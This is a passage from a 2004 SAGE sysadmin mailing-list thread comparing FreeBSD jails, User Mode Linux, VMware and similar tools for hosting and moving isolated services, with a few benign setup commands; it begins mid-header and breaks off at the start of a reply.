11.0.5510 In-Reply-To: <20040116042343.GA12131@snew.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPb6XE69QsRVPOjQAaAiNBPXsSRSQAcE2Hg Message-Id: <20040116180307.EDC8734D1F@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > > need can be built using a set of scripts. (Nothing new to this crowd.) > For > > example, currently I can build a complete mail system in a jail with > spam > > filtering and AV on a host server using: > > Sounds like a case for vmware or other machine virtualization. Most definitely. VMware is great for this kind of work as well. My example here was specific to FreeBSD jails though. > and virtual machines which cannot touch each other. > > Chroot jails are as old as the sun (as is breaking out of them). > Handy to slow generic errors, but a well planned attack with certain > classes of bugs won't stop much. Certainly. As you can see from my original post, however, I am speaking merely of using jails as a management technique. > Sounds like it could be run with depot or several other package > installers. > > How does that differ from: > wget http://packageserver/sendmail.pkg > pkgadd -d ./sendmail.pkg > rm ./sendmail.pkg A significant difference actually. This is like asking if there is a difference between installing Postfix locally or installing it on a system under VMware. With a FreeBSD jail I am able to maintain complete management independence between services and packages. So if service X relies on a certain version of a package, while service Y relies on another version, I can reconcile that by using two jails on one server. In addition, I can easily move a jail from one system to another. So if I offer a client a jail to work in (perhaps running Tomcat, MySQL, and several development packages) and I then decide to move her to another server, I can just perform a 'scp -rp /her/jail newsvr:/her/new/jail` and I am essentially done. Without the jail I would be forced to reinstall her software on the new system. (And the newly installed software may require dependencies that breaks other software.) It's the same idea as VMware. You build a virtual machine and move it around as needed instead of building "the machine". > > I then just run the jail. > > Then I just start the app... I wonder now if we are talking about the same thing. I am not talking about simply chrooting a service. I am speaking specifically about FreeBSD jails. While I haven't used it, I think that user-mode Linux can offer something very similar in the Linux world. > > This description is very simplified, but that's the general idea, and it > > works. With a combination of this and NFS I'm pretty much set. > > > > My technique is in no way original. I would like to see how others do > it. > > nothing about what you call "jails" sounds different than any app/package, > but I assume you left out instance information. No doubt. From sage-members-owner@usenix.org Fri Jan 16 10:10:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GIA9Nn018605 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 10:10:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GIA9pG018604 for sage-members-outgoing; Fri, 16 Jan 2004 10:10:09 -0800 (PST) Message-ID: <15359.192.55.4.36.1074276601.squirrel@192.55.4.36> In-Reply-To: <20040116180307.EDC8734D1F@watcher.puryear-it.com> References: <20040116042343.GA12131@snew.com> <20040116180307.EDC8734D1F@watcher.puryear-it.com> Date: Fri, 16 Jan 2004 10:10:01 -0800 (PST) Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk >> > need can be built using a set of scripts. (Nothing new to this crowd.) >> For >> > example, currently I can build a complete mail system in a jail with >> spam >> > filtering and AV on a host server using: >> >> Sounds like a case for vmware or other machine virtualization. > > Most definitely. VMware is great for this kind of work as well. My example > here was specific to FreeBSD jails though. How about User Mode Linux? -- END OF LINE -MCP From sage-members-owner@usenix.org Fri Jan 16 14:43:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GMhpNn001323 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 14:43:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GMhpLu001321 for sage-members-outgoing; Fri, 16 Jan 2004 14:43:51 -0800 (PST) From: "Dustin Puryear" To: , Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Fri, 16 Jan 2004 16:47:15 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 In-Reply-To: <15359.192.55.4.36.1074276601.squirrel@192.55.4.36> Thread-Index: AcPcXLDuJuVccCflSq6d+lfjOuQLMwAJS4CA Message-Id: <20040116224318.74D4D34D34@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > >> Sounds like a case for vmware or other machine virtualization. > > > > Most definitely. VMware is great for this kind of work as well. My > example > > here was specific to FreeBSD jails though. > > How about User Mode Linux? Sometimes I wonder if anyone reads entire messages anymore: "I am speaking specifically about FreeBSD jails. While I haven't used it, I think that user-mode Linux can offer something very similar in the Linux world." :) From sage-members-owner@usenix.org Fri Jan 16 14:43:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GMhpNn001324 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 14:43:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GMhpiv001322 for sage-members-outgoing; Fri, 16 Jan 2004 14:43:51 -0800 (PST) From: "Dustin Puryear" To: , Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Fri, 16 Jan 2004 16:47:15 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 In-Reply-To: <15359.192.55.4.36.1074276601.squirrel@192.55.4.36> Thread-Index: AcPcXLDuJuVccCflSq6d+lfjOuQLMwAJWuJg Message-Id: <20040116224318.1EE5034D26@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > >> Sounds like a case for vmware or other machine virtualization. > > > > Most definitely. VMware is great for this kind of work as well. My > example > > here was specific to FreeBSD jails though. > > How about User Mode Linux? I wonder if anyone has tried to do a performance comparison of running real-world services (i.e., a mail server with AV and spam filtering) under a FreeBSD jail, user-mode Linux, and VMware. So let's say I have a nice server that I use for hosting multiple services. I can run each service (or client's virtual server) under a FreeBSD jail, user-mode Linux, or VMware. Which solution gives you the most PERFORMANCE bang for the hardware buck? That would be an interesting study. From sage-members-owner@usenix.org Fri Jan 16 15:26:36 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GNQaNn004074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 15:26:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GNQaZ9004073 for sage-members-outgoing; Fri, 16 Jan 2004 15:26:36 -0800 (PST) Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) To: sage-members@usenix.org (SAGE Members) Date: Fri, 16 Jan 2004 18:26:28 -0500 (EDT) In-Reply-To: <20040116224318.1EE5034D26@watcher.puryear-it.com> from "Dustin Puryear" at Jan 16, 2004 04:47:15 PM From: "Adam S. Moskowitz" Reply-To: adamm@menlo.com X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20040116232628.061384CE542@hexogen.explosive.net> Sender: owner-sage-members@usenix.org Precedence: bulk "Dustin Puryear" wrote: > I wonder if anyone has tried to do a performance comparison of running > real-world services (i.e., a mail server with AV and spam filtering) under a > FreeBSD jail, user-mode Linux, and VMware. > . . . > That would be an interesting study. More importantly, it would probably be a VERY GOOD LISA PAPER! The submission deadline is April 20th; that's about three months from now -- more than enough time to run some preliminary tests and slap the data into an extended abstract. If you wanted advice (or even maybe some help) writing an abstract for this paper, let me know. AdamM From sage-members-owner@usenix.org Fri Jan 16 15:28:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GNSWNn004379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 15:28:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GNSW3o004368 for sage-members-outgoing; Fri, 16 Jan 2004 15:28:32 -0800 (PST) X-Sent: 16 Jan 2004 23:28:28 GMT Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Cc: sage-members@usenix.org From: "Wyatt Draggoo" Subject: RE: [SAGE] JAILS -- equivelant on Solaris? X-Sent-From: wyatt@draggoo.com Date: Fri, 16 Jan 2004 15:28:28 -0800 (PST) X-Mailer: Web Mail 5.6.0-2_sol28 Message-Id: <20040116152829.3507.h011.c001.wm@mail.draggoo.com.criticalpath.net> Sender: owner-sage-members@usenix.org Precedence: bulk > I wonder if anyone has tried to do a performance comparison of running > real-world services (i.e., a mail server with AV and spam filtering) under a > FreeBSD jail, user-mode Linux, and VMware. > > So let's say I have a nice server that I use for hosting multiple services. > I can run each service (or client's virtual server) under a FreeBSD jail, > user-mode Linux, or VMware. Which solution gives you the most PERFORMANCE > bang for the hardware buck? > > That would be an interesting study. This thread has been very interesting. I was familiar with the chroot concept, but never of a completely jailed system (except for VMware, but I have always looked at that as more of a workstation solution, not for virtual servers). So far, all of this has been for BSD and Linux. Is there a similar software-based (not talking about domains on SunFire systems, etc.) jail concept for Solaris systems? A quick Google search only pointed to chroot solutions. Google groups pointed out a product called papillion (http://www.roqe.org/papillon/), but it doesn't work for root-level users. Thanks, Wyatt -- Wyatt Draggoo From sage-members-owner@usenix.org Fri Jan 16 16:25:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0H0P2Nn007803 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 16:25:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0H0P2Xt007802 for sage-members-outgoing; Fri, 16 Jan 2004 16:25:02 -0800 (PST) X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4 To: From: bergman@merctech.com Reply-To: bergman@merctech.com Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) In-Reply-To: Your message of "Fri, 16 Jan 2004 16:47:15 CST." <20040116224318.1EE5034D26@watcher.puryear-it.com> References: <20040116224318.1EE5034D26@watcher.puryear-it.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 16 Jan 2004 16:24:50 -0800 Message-ID: <16131.1074299090@piquin> Sender: owner-sage-members@usenix.org Precedence: bulk In the message dated: Fri, 16 Jan 2004 16:47:15 CST, The pithy ruminations from "Dustin Puryear" on we re: => > >> Sounds like a case for vmware or other machine virtualization. => > > => > > Most definitely. VMware is great for this kind of work as well. My => > example => > > here was specific to FreeBSD jails though. => > => > How about User Mode Linux? => => I wonder if anyone has tried to do a performance comparison of running => real-world services (i.e., a mail server with AV and spam filtering) under a => FreeBSD jail, user-mode Linux, and VMware. => => So let's say I have a nice server that I use for hosting multiple services. => I can run each service (or client's virtual server) under a FreeBSD jail, => user-mode Linux, or VMware. Which solution gives you the most PERFORMANCE => bang for the hardware buck? => => That would be an interesting study. Great idea. Now, add in the Virtual Private Server stuff from sw-soft.com (aimed at the web hosting market, it promises very efficient partitioning--to the order of 100s of servers on a medium-sized Intel box). Hmmm... I wonder if the commecial vendors (VMWare & SW-Soft...any other you can think of) would be willing to provide a lab or software? http://www.sw-soft.com/en/products/virtuozzo/ Mark => => From sage-members-owner@usenix.org Fri Jan 16 16:29:22 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0H0TMNn008231 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 16:29:22 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0H0TLFG008230 for sage-members-outgoing; Fri, 16 Jan 2004 16:29:22 -0800 (PST) Message-ID: <48412.192.55.4.36.1074299355.squirrel@192.55.4.36> In-Reply-To: <20040116224318.1EE5034D26@watcher.puryear-it.com> References: <15359.192.55.4.36.1074276601.squirrel@192.55.4.36> <20040116224318.1EE5034D26@watcher.puryear-it.com> Date: Fri, 16 Jan 2004 16:29:15 -0800 (PST) Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > I wonder if anyone has tried to do a performance comparison of running > real-world services (i.e., a mail server with AV and spam filtering) under a > FreeBSD jail, user-mode Linux, and VMware. > > So let's say I have a nice server that I use for hosting multiple services. > I can run each service (or client's virtual server) under a FreeBSD jail, > user-mode Linux, or VMware. Which solution gives you the most PERFORMANCE > bang for the hardware buck? > > That would be an interesting study. Yes, that would really be interesting, and I think the answer would also depend on the applications tested. IO based apps would probably be fairly slow on VMWare compared to the others, I think. Since VMWare goes through the trouble of actual hardware emulation. I haven't looked at vm behavior differences between these, though I am familiar with VMWare's behavior. -- END OF LINE -MCP From sage-members-owner@usenix.org Fri Jan 16 16:31:03 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0H0V3Nn008566 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 16:31:03 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0H0V2QI008565 for sage-members-outgoing; Fri, 16 Jan 2004 16:31:02 -0800 (PST) Message-ID: <49845.192.55.4.36.1074299456.squirrel@192.55.4.36> In-Reply-To: <20040116224318.74D4D34D34@watcher.puryear-it.com> References: <15359.192.55.4.36.1074276601.squirrel@192.55.4.36> <20040116224318.74D4D34D34@watcher.puryear-it.com> Date: Fri, 16 Jan 2004 16:30:56 -0800 (PST) Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > Sometimes I wonder if anyone reads entire messages anymore: > > "I am speaking specifically about FreeBSD jails. While I haven't used it, I > think that user-mode Linux can offer something very similar in the Linux > world." Guilty as charged. I skimmed the email, should have read it. -- END OF LINE -MCP From sage-members-owner@usenix.org Fri Jan 16 21:30:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0H5UKNn013618 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 21:30:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0H5UKtM013617 for sage-members-outgoing; Fri, 16 Jan 2004 21:30:20 -0800 (PST) From: Mason Schmitt To: adamm@menlo.com Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Fri, 16 Jan 2004 21:30:02 -0800 User-Agent: KMail/1.5.3 References: <20040116232628.061384CE542@hexogen.explosive.net> In-Reply-To: <20040116232628.061384CE542@hexogen.explosive.net> Cc: sage-members@usenix.org MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401162130.02043.hr824@sunwave.net> X-Virus-Scanned: Scanned by Hermes (http://www.beyondtheweb.com/hermes) Sender: owner-sage-members@usenix.org Precedence: bulk On January 16, 2004 03:26 pm, Adam S. Moskowitz wrote: > "Dustin Puryear" wrote: > > I wonder if anyone has tried to do a performance comparison of running > > real-world services (i.e., a mail server with AV and spam filtering) > > under a FreeBSD jail, user-mode Linux, and VMware. > > . . . Add to that list vserver. The project is somewhat fractured at the moment but, in my opinion, is an excellent concept that is very light on system resources and has some excellent security features while still being very hardware independent thus easy to transport to other machines. http://www.solucorp.qc.ca/miscprj/s_context.hc?prjstate=1&nodoc=0 Mason From sage-members-owner@usenix.org Sat Jan 17 00:24:47 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0H8OlNn015042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 00:24:47 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0H8Ol63015041 for sage-members-outgoing; Sat, 17 Jan 2004 00:24:47 -0800 (PST) Date: Sat, 17 Jan 2004 00:24:46 -0800 From: Philip Brown To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040117002446.A49090@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@usenix.org References: <20040116042343.GA12131@snew.com> <20040116180307.EDC8734D1F@watcher.puryear-it.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040116180307.EDC8734D1F@watcher.puryear-it.com>; from dpuryear@usa.net on Fri, Jan 16, 2004 at 12:07:06PM -0600 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 16, 2004 at 12:07:06PM -0600, Dustin Puryear wrote: > ... > It's the same idea as VMware. You build a virtual machine and move it around > as needed instead of building "the machine". ??? you still have to essentially build out duplicate a "new" copy of the OS to run inside the virtual machine, one way or another. You only "save" on hardware setup. If I dont care about the hardware setup time, or I already have extra machines racked and ready to go, it isnt much of a problem for me to jumpstart a new box with a flash archive of an already running system. From sage-members-owner@usenix.org Sat Jan 17 02:49:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HAnONn017778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 02:49:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HAnO1p017777 for sage-members-outgoing; Sat, 17 Jan 2004 02:49:24 -0800 (PST) Message-ID: <4009129C.4030007@yoyoweb.com> Date: Sat, 17 Jan 2004 02:46:52 -0800 From: Thornton Prime User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031114 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) References: <20040116224318.1EE5034D26@watcher.puryear-it.com> In-Reply-To: <20040116224318.1EE5034D26@watcher.puryear-it.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Dustin Puryear wrote: > I wonder if anyone has tried to do a performance comparison of running > real-world services (i.e., a mail server with AV and spam filtering) under a > FreeBSD jail, user-mode Linux, and VMware. > > So let's say I have a nice server that I use for hosting multiple services. > I can run each service (or client's virtual server) under a FreeBSD jail, > user-mode Linux, or VMware. Which solution gives you the most PERFORMANCE > bang for the hardware buck? It is important, of course, to realize that these three products offer three very different levels of virtualization and therefore protection. People choose them for three very different reasons, and I wouldn't expect them to benchmark in ways that compare meaningfully. For example for mail services, VMWare gives you virtualized hardware which might protect you down to even layer-2 attacks. They might crash your VMWare instance, but your host system would still be OK. Similarly, UML should protect you down to Layer-3 IP attacks, and even if there was a kernel flaw hopefully the most the most an attacker could do is kill your UML kernel instance (but your host kernel would still be fine). Jails are "vulnerable" because you share kernel space (and therefore the IP stack) with the host system, though "vulnerable" is a relative term when you are considering OpenBSD as a host. ;) For the truly paranoid, there is nothing preventing people from mixing the technologies, VMWare running a host with UML instances or an instance with Jails. I would like to see a comparison of VMWare vs. Virtuozzo vs. Plex86 vs. Bochs. These all do do the same thing, with the exception that Bochs actually emulates x86 instead of just virtualizing a x86 platform (enabling you to run Windows on Bochs within Solaris on Sparc). thornton From sage-members-owner@usenix.org Sat Jan 17 02:58:48 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HAwmNn018182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 02:58:48 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HAwmQO018181 for sage-members-outgoing; Sat, 17 Jan 2004 02:58:48 -0800 (PST) Message-ID: <400914D3.5090008@yoyoweb.com> Date: Sat, 17 Jan 2004 02:56:19 -0800 From: Thornton Prime User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031114 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Philip Brown wrote: > you still have to essentially build out duplicate a "new" copy of the OS > to run inside the virtual machine, one way or another. > You only "save" on hardware setup. With both UML and VMWare you can suspend an existing system and clone it. You can then restart the cloned instances separately and reconfigure them. There is no need to re-install the operating environment. In fact, you can clone systems with suspended running applications to maintain application state. You save a heck of a lot more than hardware setup. This can be a HUGE timesaver for platforms and applications that have really complex and/or boorish install and setup procedures. I'm not sure about VMWare (I am just starting to play with VMWare ESX), but with UML the instances can be COW, so you can use a single image with as many COW files as you want. thornton From sage-members-owner@usenix.org Sat Jan 17 12:54:57 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HKsvNn022996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 12:54:57 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HKsvME022995 for sage-members-outgoing; Sat, 17 Jan 2004 12:54:57 -0800 (PST) From: "Dustin Puryear" To: Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Sat, 17 Jan 2004 14:58:12 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <48412.192.55.4.36.1074299355.squirrel@192.55.4.36> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPckeXI+ejbjPXVTeehV750E/6icgApyGfA Message-Id: <20040117205422.7325134D26@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > > That would be an interesting study. > > Yes, that would really be interesting, and I think the answer would also > depend on the applications tested. > > IO based apps would probably be fairly slow on VMWare compared to the > others, > I think. Since VMWare goes through the trouble of actual hardware > emulation. > > I haven't looked at vm behavior differences between these, though I am > familiar with VMWare's behavior. I too think that IO would be slower on a VMware system than under something like, say, a FreeBSD jail. (In fact, that has been my real-world experience with VMware workstation.) But I read somewhere that VMware has been working hard to get around some of the limitations in how they are virtualizing the machine. I wonder.. --- Dustin Puryear Puryear Information Technology, LLC Baton Rouge, LA http://www.puryear-it.com From sage-members-owner@usenix.org Sat Jan 17 12:55:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HKtBNn023018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 12:55:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HKtBHH023017 for sage-members-outgoing; Sat, 17 Jan 2004 12:55:11 -0800 (PST) From: "Dustin Puryear" To: "'Thornton Prime'" , Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Sat, 17 Jan 2004 14:58:30 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <400914D3.5090008@yoyoweb.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPc6cUs3I4F1PodTDeiH0c/d3JOHAAUW7rw Message-Id: <20040117205440.9515834D66@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > I'm not sure about VMWare (I am just starting to play with VMWare ESX), > but with UML the instances can be COW, so you can use a single image > with as many COW files as you want. Oh! That's nice. --- Dustin Puryear Puryear Information Technology, LLC Baton Rouge, LA http://www.puryear-it.com From sage-members-owner@usenix.org Sat Jan 17 12:55:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HKtBNn023020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 12:55:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HKtBEK023019 for sage-members-outgoing; Sat, 17 Jan 2004 12:55:11 -0800 (PST) From: "Dustin Puryear" To: Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Sat, 17 Jan 2004 14:58:30 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <20040117002446.A49090@bolthole.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPc1B6JsaixI1gZSAmy+QzLe8Z3tAAZTJzA Message-Id: <20040117205441.2CF7334D26@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > On Fri, Jan 16, 2004 at 12:07:06PM -0600, Dustin Puryear wrote: > > ... > > It's the same idea as VMware. You build a virtual machine and move it > around > > as needed instead of building "the machine". > > ??? > > you still have to essentially build out duplicate a "new" copy of the OS > to run inside the virtual machine, one way or another. > You only "save" on hardware setup. True and false. # mkdir /jails/mail.example.com # cd /jails/mail.example.com # tar xzf /jails/skel.tgz # /jails/bin/install-mail.sh /jails/mail.example.com # jail /jails/mail.example.com ... I'm done. With those five lines I can bring up fifty or five hundred new virtual servers without ever modifying the base system, hitting the power button, or even notifying clients that a change to the system is being made. Again, let me agree with everyone about to hit the Reply button that with *proper scripting and/or management procedures I can easily ramp up a new server*. No problem. But can it be done even better? With virtual servers (however implemented) I can usually bring a "server" up a lot faster (as opposed to a system--the hardware/OS), and I can run several services/servers on the same piece of hardware even though each service may normally interfere with one another (i.e., if each service required a difference version of a system library or something, say if for example one package wants mysql323-server while another wants mysql40-server). Keep in mind that I am not arguing for FreeBSD jails here. I am just using FreeBSD jails as an easy example of what I'm talking about. --- Dustin Puryear Puryear Information Technology, LLC Baton Rouge, LA http://www.puryear-it.com From sage-members-owner@usenix.org Sat Jan 17 13:37:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HLbPNn024414 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 13:37:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HLbPQn024413 for sage-members-outgoing; Sat, 17 Jan 2004 13:37:25 -0800 (PST) Message-ID: <4009AB13.6060102@camberwind.com> Date: Sat, 17 Jan 2004 15:37:23 -0600 From: Scott Burch User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Wyatt Draggoo Cc: sage-members@usenix.org Subject: [SAGE] Zones in Solaris 10 are based on FreeBSD Jails References: <20040116152829.3507.h011.c001.wm@mail.draggoo.com.criticalpath.net> In-Reply-To: <20040116152829.3507.h011.c001.wm@mail.draggoo.com.criticalpath.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Wyatt, 